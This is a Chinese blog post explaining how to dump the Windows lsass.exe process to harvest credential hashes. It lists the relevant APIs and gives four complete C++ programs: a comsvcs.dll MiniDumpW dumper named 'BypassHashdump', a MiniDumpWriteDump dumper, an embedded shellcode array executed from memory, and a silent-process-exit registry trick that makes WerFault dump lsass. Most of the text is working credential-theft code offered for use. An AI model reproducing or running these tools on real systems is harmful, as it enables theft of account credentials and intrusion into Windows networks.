Loading

windows dump hash原理探究

零、参考链接

https://www.anquanke.com/post/id/252552#h2-1
https://www.cnblogs.com/w0x68y/p/14138953.html
https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/
https://lengjibo.github.io/lassdump/
https://www.redhatzone.com/ask/article/3457.html

一、相关API

1、RtlAdjustPrivilege
实现提权功能,这里将进程赋予SeDebugPrivilege权限,以此来dump lsass.exe。这个函数封装在NtDll.dll中。

NTSTATUS RtlAdjustPrivilege
(
ULONG    Privilege,//所需要的权限名称,可以到 MSDN 查找关于Process Token & Privilege 内容可以查到
BOOLEAN Enable,//如果为True 就是打开相应权限,如果为False 则是关闭相应权限
BOOLEAN CurrentThread,//如果为True 则仅提升当前线程权限,否则提升整个进程的权限
PBOOLEAN Enabled//输出原来相应权限的状态(打开 | 关闭), 注意:该参数赋予空指针会出错
)
权限ID对应表
1.SeCreateTokenPrivilege 0x2
2.SeAssignPrimaryTokenPrivilege 0x3
3.SeLockMemoryPrivilege 0x4
4.SeIncreaseQuotaPrivilege 0x5
5.SeUnsolicitedInputPrivilege 0x0
6.SeMachineAccountPrivilege 0x6
7.SeTcbPrivilege 0x7
8.SeSecurityPrivilege 0x8
9.SeTakeOwnershipPrivilege 0x9
10.SeLoadDriverPrivilege 0xa
11.SeSystemProfilePrivilege 0xb
12.SeSystemtimePrivilege 0xc
13.SeProfileSingleProcessPrivilege 0xd
14.SeIncreaseBasePriorityPrivilege 0xe
15.SeCreatePagefilePrivilege 0xf
16.SeCreatePermanentPrivilege 0x10
17.SeBackupPrivilege 0x11
18.SeRestorePrivilege 0x12
19.SeShutdownPrivilege 0x13
20.SeDebugPrivilege 0x14
21.SeAuditPrivilege 0x15
22.SeSystemEnvironmentPrivilege 0x16
23.SeChangeNotifyPrivilege 0x17
24.SeRemoteShutdownPrivilege 0x18
25.SeUndockPrivilege 0x19
26.SeSyncAgentPrivilege 0x1a
27.SeEnableDelegationPrivilege 0x1b
28.SeManageVolumePrivilege 0x1c
29.SeImpersonatePrivilege 0x1d
30.SeCreateGlobalPrivilege 0x1e
31.SeTrustedCredManAccessPrivilege 0x1f
32.SeRelabelPrivilege 0x20
33.SeIncreaseWorkingSetPrivilege 0x21
34.SeTimeZonePrivilege 0x22
35.SeCreateSymbolicLinkPrivilege 0x23

2、comsvcs.dll的MiniDumpw函数,可以转储Hash

MiniDumpW(0, 0, argv[1]);
其中argv[1]:"pid test.dmp full"

3、MiniDumpWriteDump,将用户的mimidump信息写入指定的文件,该API位于dbghelp.dll
https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

BOOL MiniDumpWriteDump(
  [in] HANDLE                            hProcess,
  [in] DWORD                             ProcessId,
  [in] HANDLE                            hFile,
  [in] MINIDUMP_TYPE                     DumpType,
  [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,
  [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam
);

返回值:如果函数成功,则返回值为TRUE;否则,返回值为FALSE。
4、CreateToolhelp32Snapshot
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
获取指定进程的快照,以及这些进程使用的堆、模块和线程

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,//标识符,具体参见msdn
  [in] DWORD th32ProcessID //要包含在快照中的进程的进程标识符。此参数可以为零以指示当前进程。
);

返回值:如果该函数成功,则返回指定快照的打开句柄。
二、C++编写
1、利用comsvcs.dll的MiniDumpw函数
BypassHashdump.cpp

#define UNICODE //使用UNICODE 对应main函数就是wmain
#include <Windows.h>
#include <stdio.h>

typedef HRESULT(WINAPI* _MiniDumpW)(
    DWORD arg1, DWORD arg2, PWCHAR cmdline
    );
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    );
int wmain(int argc, wchar_t* argv[]) {
    HRESULT hr;
    _MiniDumpW MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG t;
    //从comsvcs.dll中获得MiniDunpw导出函数
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    //从NTdll中获得RtlAdjustPrivilege导出函数用户提权
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(LoadLibrary(L"ntdll.dll"), "RtlAdjustPrivilege");
    if (MiniDumpW == NULL) {
        printf("Unable to resolve COMSVCS!MiniDumpW.\n");
        return 0;
    }
    if (RtlAdjustPrivilege == NULL) {
        printf("Unable to resolve RtlAdjustPrivilege.\n");
        return 0;
    }
    // 获取SeDebugPrivilege,最后一个参数别设置为NULL
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    //dump lsass.exe
    MiniDumpW(0, 0, argv[1]);
    return 0;

2、利用MiniDumpWriteDump
bypasshash.cpp

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;

int main() {
	DWORD lsassPID = 0;
	HANDLE lsassHandle = NULL;
	HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			lsassPID = processEntry.th32ProcessID;
		}
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
	}

	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

	if (isDumped) {
		cout << "[+] lsass dumped successfully!" << endl;
	}

	return 0;
}

3、Shellcode to Dump the Lsass Process

#include <stdio.h>
#include <string.h>
#include <windows.h>
/*
 * Title: Shellcode to dump the lsass process
 * Works only on Windows 10 and Windows Server 2019
 * Arch: x86_64
 * Author: Osanda Malith Jayathissa (@OsandaMalith)
 * Website: https://osandamalith.com
 * Date: 11/05/2019
 */
int main() {
 
	unsigned char shellcode[822] = {
		0xE9, 0x1B, 0x03, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74,
		0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x10, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00,
		0x8B, 0xF1, 0x48, 0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x4A, 0x10, 0x4D, 0x8B, 0x41, 0x30, 0x4D, 0x85,
		0xC0, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x10, 0x41, 0x58, 0x49, 0x63, 0x40, 0x3C,
		0x4D, 0x8B, 0x09, 0x42, 0x8B, 0x9C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x33, 0xD2, 0xF3, 0x0F, 0x7F,
		0x04, 0x24, 0x85, 0xDB, 0x74, 0xD4, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xC1, 0xE8, 0x10, 0x44, 0x0F,
		0xB7, 0xD0, 0x45, 0x85, 0xD2, 0x74, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x08, 0x45, 0x8B, 0xDA, 0xC1,
		0xCA, 0x0D, 0x80, 0x39, 0x61, 0x0F, 0xBE, 0x01, 0x7C, 0x03, 0x83, 0xC2, 0xE0, 0x03, 0xD0, 0x48,
		0xFF, 0xC1, 0x49, 0xFF, 0xCB, 0x75, 0xE8, 0x4D, 0x8D, 0x14, 0x18, 0x33, 0xC9, 0x41, 0x8B, 0x7A,
		0x20, 0x49, 0x03, 0xF8, 0x41, 0x39, 0x4A, 0x18, 0x76, 0x90, 0x8B, 0x1F, 0x45, 0x33, 0xDB, 0x48,
		0x8D, 0x7F, 0x04, 0x49, 0x03, 0xD8, 0x41, 0xC1, 0xCB, 0x0D, 0x0F, 0xBE, 0x03, 0x48, 0xFF, 0xC3,
		0x44, 0x03, 0xD8, 0x80, 0x7B, 0xFF, 0x00, 0x75, 0xED, 0x41, 0x8D, 0x04, 0x13, 0x3B, 0xC6, 0x74,
		0x0D, 0xFF, 0xC1, 0x41, 0x3B, 0x4A, 0x18, 0x72, 0xD1, 0xE9, 0x5C, 0xFF, 0xFF, 0xFF, 0x41, 0x8B,
		0x42, 0x24, 0x03, 0xC9, 0x49, 0x03, 0xC0, 0x0F, 0xB7, 0x04, 0x01, 0x41, 0x8B, 0x4A, 0x1C, 0xC1,
		0xE0, 0x02, 0x48, 0x98, 0x49, 0x03, 0xC0, 0x8B, 0x04, 0x01, 0x49, 0x03, 0xC0, 0xEB, 0x02, 0x33,
		0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x83, 0xC4, 0x10, 0x5F,
		0xC3, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x53, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
		0x57, 0x48, 0x8D, 0xAC, 0x24, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x81, 0xEC, 0xD8, 0x01, 0x00, 0x00,
		0x33, 0xC0, 0x48, 0x8D, 0x7D, 0xA0, 0xB9, 0x30, 0x01, 0x00, 0x00, 0xF3, 0xAA, 0x45, 0x33, 0xF6,
		0xB9, 0x4C, 0x77, 0x26, 0x07, 0xC7, 0x45, 0x80, 0x6B, 0x65, 0x72, 0x6E, 0xC7, 0x45, 0x84, 0x65,
		0x6C, 0x33, 0x32, 0xC7, 0x45, 0x88, 0x2E, 0x64, 0x6C, 0x6C, 0x44, 0x88, 0x75, 0x8C, 0xC7, 0x44,
		0x24, 0x70, 0x64, 0x62, 0x67, 0x63, 0xC7, 0x44, 0x24, 0x74, 0x6F, 0x72, 0x65, 0x2E, 0xC7, 0x44,
		0x24, 0x78, 0x64, 0x6C, 0x6C, 0x00, 0xC7, 0x44, 0x24, 0x60, 0x6E, 0x74, 0x64, 0x6C, 0xC7, 0x44,
		0x24, 0x64, 0x6C, 0x2E, 0x64, 0x6C, 0x66, 0xC7, 0x44, 0x24, 0x68, 0x6C, 0x00, 0xC7, 0x44, 0x24,
		0x50, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x54, 0x73, 0x2E, 0x64, 0x6D, 0x66, 0xC7, 0x44,
		0x24, 0x58, 0x70, 0x00, 0xC7, 0x44, 0x24, 0x40, 0x6C, 0x73, 0x61, 0x73, 0xC7, 0x44, 0x24, 0x44,
		0x73, 0x2E, 0x65, 0x78, 0x66, 0xC7, 0x44, 0x24, 0x48, 0x65, 0x00, 0xC6, 0x85, 0x20, 0x01, 0x00,
		0x00, 0x61, 0xE8, 0x51, 0xFE, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x8B, 0xF8, 0xFF, 0xD7,
		0x48, 0x8D, 0x4C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x60, 0xFF, 0xD7, 0xB9, 0x80,
		0x39, 0x1E, 0x92, 0xE8, 0x30, 0xFE, 0xFF, 0xFF, 0xB9, 0xDA, 0xF6, 0xDA, 0x4F, 0x48, 0x8B, 0xF0,
		0xE8, 0x23, 0xFE, 0xFF, 0xFF, 0xB9, 0x27, 0xA9, 0xE8, 0x67, 0x48, 0x8B, 0xF8, 0xE8, 0x16, 0xFE,
		0xFF, 0xFF, 0xB9, 0x8D, 0x52, 0x01, 0xBD, 0x48, 0x8B, 0xD8, 0xE8, 0x09, 0xFE, 0xFF, 0xFF, 0xB9,
		0x74, 0x71, 0x8D, 0xDC, 0x4C, 0x8B, 0xE0, 0xE8, 0xFC, 0xFD, 0xFF, 0xFF, 0xB9, 0xB4, 0x73, 0x8D,
		0xE2, 0x4C, 0x8B, 0xF8, 0xE8, 0xEF, 0xFD, 0xFF, 0xFF, 0xB9, 0xEE, 0x95, 0xB6, 0x50, 0x4C, 0x8B,
		0xE8, 0xE8, 0xE2, 0xFD, 0xFF, 0xFF, 0xB9, 0x3D, 0xD7, 0xC8, 0x6E, 0x48, 0x89, 0x85, 0x30, 0x01,
		0x00, 0x00, 0xE8, 0xD1, 0xFD, 0xFF, 0xFF, 0xB9, 0x7A, 0x19, 0x77, 0x6A, 0x48, 0x89, 0x45, 0x90,
		0xE8, 0xC3, 0xFD, 0xFF, 0xFF, 0x4C, 0x8D, 0x8D, 0x28, 0x01, 0x00, 0x00, 0x41, 0x8D, 0x4E, 0x14,
		0x45, 0x33, 0xC0, 0xB2, 0x01, 0xFF, 0xD0, 0x4C, 0x21, 0x74, 0x24, 0x30, 0x48, 0x8D, 0x4C, 0x24,
		0x50, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x00, 0x00, 0x00, 0x10, 0xC7, 0x44, 0x24, 0x28,
		0x80, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x20, 0x02, 0x00, 0x00, 0x00, 0xFF, 0xD7, 0x33, 0xD2,
		0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x8D, 0x4A, 0x02, 0xFF, 0xD6, 0x48, 0x8D, 0x55, 0xA0,
		0xC7, 0x45, 0xA0, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0xD3, 0x33,
		0xDB, 0x85, 0xC0, 0x74, 0x31, 0xEB, 0x1C, 0x48, 0x8D, 0x55, 0xA0, 0x48, 0x8B, 0xCF, 0x41, 0xFF,
		0xD4, 0x48, 0x8D, 0x55, 0xCC, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41, 0xFF, 0xD5, 0x44,
		0x8B, 0x75, 0xA8, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x8D, 0x20, 0x01, 0x00, 0x00, 0x41,
		0xFF, 0xD7, 0x85, 0xC0, 0x75, 0xD1, 0x45, 0x8B, 0xC6, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00,
		0xFF, 0x95, 0x30, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5C,
		0x24, 0x30, 0x48, 0x8B, 0xC8, 0x41, 0xB9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xD6, 0x48, 0x89,
		0x5C, 0x24, 0x28, 0x48, 0x89, 0x5C, 0x24, 0x20, 0xFF, 0x55, 0x90, 0x48, 0x81, 0xC4, 0xD8, 0x01,
		0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0x5D, 0xC3, 0xCC,
		0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0xD3, 0xFD, 0xFF,
		0xFF, 0x48, 0x8B, 0xE6, 0x5E, 0xC3
	};
    DWORD oldProtect;
    BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
    if (!ret) {
        fprintf(stderr, "%s", "Error Occured");
        return EXIT_FAILURE;
    }
    ((void(*)(void))shellcode)();
    VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
    return EXIT_SUCCESS;
}

4、静默进程退出机制出发LSASS
该技术和Werfault.exe进程有关,在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,所以我们可以利用这一行为对lsass内存dump。
在win7之后,windows引入了一些进程退出的相关机制,即静默进程退出机制。该机制提供了两种情况下,可以触发对被监控进程进行特殊动作的能力:
(1)被监控进程调用 ExitProcess() 终止自身;
(2)其他进程调用 TerminateProcess() 结束被监控进程。
但当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

启动一个监控进程
显示一个弹窗
创建一个Dump文件

由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<被监控进程名>\ 注册表项下的GlobalFlag值:0x200(FLG_MONITOR_SILENT_PROCESS_EXIT)

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<被监控进程名>\ 注册表项下的3个键值:
1)ReportingMode(REG_DWORD),该值可设置为以下几个,具有不同功能:
  a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
  b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
  c)NOTIFICATION (0x4) – 显示弹窗。
2)LocalDumpFolder (REG_SZ) – DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit;
3)DumpType – 根据 MINIDUMP_TYPE 枚举值指定DUMP文件的类型 (Micro, Mini, Heap 或 Custom) ,完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)。


github:https://github.com/deepinstinct/LsassSilentProcessExit
但终止LSASS意味着系统将重启,因此有没有什么办法能够是进程在静默退出而又不会实际终止进程呢?
答案:RtlReportSilentProcessExit
该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。

NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

该函数是Ntdll.dll的导出函数
源代码如下:

#include "windows.h"
#include "tlhelp32.h"
#include "stdio.h"
#include "shlwapi.h"

#pragma comment(lib, "shlwapi.lib")

#define IFEO_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
#define LOCAL_DUMP 0x2
#define FLG_MONITOR_SILENT_PROCESS_EXIT 0x200
#define DUMP_FOLDER L"C:\\temp"
#define MiniDumpWithFullMemory 0x2

typedef NTSTATUS(NTAPI* fRtlReportSilentProcessExit)(
    HANDLE processHandle,
    NTSTATUS ExitStatus
    );

BOOL EnableDebugPriv() {
    HANDLE hToken = NULL;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        printf(" - 获取当前进程Token失败 %#X\n", GetLastError());
        return FALSE;
    }
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        printf(" - Lookup SE_DEBUG_NAME失败 %#X\n", GetLastError());
        return FALSE;
    }
    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL)) {
        printf(" - AdjustTokenPrivileges 失败: %#X\n", GetLastError());
        return FALSE;
    }
    return TRUE;
}

BOOL setRelatedRegs(PCWCHAR procName) {
    HKEY hkResSubIFEO = NULL;
    HKEY hkResSubSPE = NULL;
    DWORD globalFlag = FLG_MONITOR_SILENT_PROCESS_EXIT;
    DWORD reportingMode = MiniDumpWithFullMemory;
    DWORD dumpType = LOCAL_DUMP, retstatus = -1;

    BOOL ret = FALSE;

    PWCHAR subkeyIFEO = (PWCHAR)malloc(lstrlenW(IFEO_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
    wsprintf(subkeyIFEO, L"%ws%ws", IFEO_REG_KEY, procName);
    PWCHAR subkeySPE = (PWCHAR)malloc(lstrlenW(SILENT_PROCESS_EXIT_REG_KEY) * 2 + lstrlenW(procName) * 2 + 5);
    wsprintf(subkeySPE, L"%ws%ws", SILENT_PROCESS_EXIT_REG_KEY, procName);

    printf(" - [DEBUGPRINT] Image_File_Execution_Options: %ws\n", subkeyIFEO);
    printf(" - [DEBUGPRINT] SilentProcessExit: %ws\n", subkeySPE);

    do {
        // 设置 Image File Execution Options\<ProcessName> 下GlobalFlag键值为0x200
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeyIFEO, &hkResSubIFEO))) {
            printf(" - 打开注册表项 Image_File_Execution_Options 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubIFEO, L"GlobalFlag", 0, REG_DWORD, (const BYTE*)&globalFlag, sizeof(globalFlag)))) {
            printf(" - 设置注册表键 GlobalFlag 键值失败: %#X\n", GetLastError());
            break;
        }

        // 设置 SilentProcessExit\<ProcessName> 下 ReporingMode/LocalDumpFolder/DumpType 三个值
        if (ERROR_SUCCESS != (retstatus = RegCreateKey(HKEY_LOCAL_MACHINE, subkeySPE, &hkResSubSPE))) {
            printf(" - 打开注册表项 SilentProcessExit 失败: %#X\n", GetLastError());
            break;
        }
        if (ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"ReportingMode", 0, REG_DWORD, (const BYTE*)&reportingMode, sizeof(reportingMode)))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"LocalDumpFolder", 0, REG_SZ, (const BYTE*)DUMP_FOLDER, lstrlenW(DUMP_FOLDER) * 2))
            || ERROR_SUCCESS != (retstatus = RegSetValueEx(hkResSubSPE, L"DumpType", 0, REG_DWORD, (const BYTE*)&dumpType, sizeof(dumpType)))) {
            printf(" - 设置注册表键 reportingMode|LocalDumpFolder|DumpType 键值失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 注册表设置完成 ...\n");
        ret = TRUE;

    } while (FALSE);

    free(subkeyIFEO);
    free(subkeySPE);
    if (hkResSubIFEO)
        CloseHandle(hkResSubIFEO);
    if (hkResSubSPE)
        CloseHandle(hkResSubSPE);

    return ret;
}

DWORD getPidByName(PCWCHAR procName) {

    HANDLE hProcSnapshot;
    DWORD retPid = -1;
    hProcSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe;
    if (INVALID_HANDLE_VALUE == hProcSnapshot) {
        printf(" - 创建快照失败!\n");
        return -1;
    }
    pe.dwSize = sizeof(PROCESSENTRY32W);
    if (!Process32First(hProcSnapshot, &pe)) {
        printf(" - Process32First Error : %#X\n", GetLastError());
        return -1;
    }
    do {
        if (!lstrcmpiW(procName, PathFindFileName(pe.szExeFile))) {
            retPid = pe.th32ProcessID;
        }
    } while (Process32Next(hProcSnapshot, &pe));
    CloseHandle(hProcSnapshot);
    return retPid;
}

INT main() {
    PCWCHAR targetProcName = L"lsass.exe";
    DWORD pid = -1;
    HMODULE hNtMod = NULL;
    fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
    HANDLE hLsassProc = NULL;
    NTSTATUS ntStatus = -1;
    if (!EnableDebugPriv()) {
        printf(" - 启用当前进程DEBUG权限失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 启用当前进程DEBUG权限 OK\n");

    if (!setRelatedRegs(targetProcName)) {
        printf(" - 设置相关注册表键值失败: %#X\n", GetLastError());
        return 1;
    }
    printf(" - 设置相关注册表键值 OK\n");
    pid = getPidByName(targetProcName);
    if (-1 == pid) {
        printf(" - 获取目标进程pid: %#X\n", pid);
        return 1;
    }
    printf(" - 获取目标PID: %#X\n", pid);

    do
    {
        hNtMod = GetModuleHandle(L"ntdll.dll");
        if (!hNtMod) {
            printf(" - 获取NTDLL模块句柄失败\n");
            break;
        }
        printf(" - NTDLL模块句柄: %#X\n", (DWORD)hNtMod);
        fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
        if (!fnRtlReportSilentProcessExit) {
            printf(" - 获取API RtlReportSilentProcessExit地址失败\n");
            break;
        }
        printf(" - RtlReportSilentProcessExit地址: %#X\n", (DWORD)fnRtlReportSilentProcessExit);
        hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
        if (!hLsassProc) {
            printf(" - 获取lsass进程句柄失败: %#X\n", GetLastError());
            break;
        }
        printf(" - 获取lsass进程句柄: %#X\n", (DWORD)hLsassProc);
        ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
        printf(" - 结束,查看c:\\temp\\lsass*.dmp...RET CODE : %#X\n", (DWORD)ntStatus);
    } while (false);

    if (hNtMod)
        CloseHandle(hNtMod);
    if (fnRtlReportSilentProcessExit)
        CloseHandle(fnRtlReportSilentProcessExit);
    if (hLsassProc)
        CloseHandle(hLsassProc);
    if (fnRtlReportSilentProcessExit)
        fnRtlReportSilentProcessExit = NULL;
    return 0;
}
posted @ 2021-10-28 21:23  Ctrl_C+Ctrl_V  阅读(408)  评论(0编辑  收藏  举报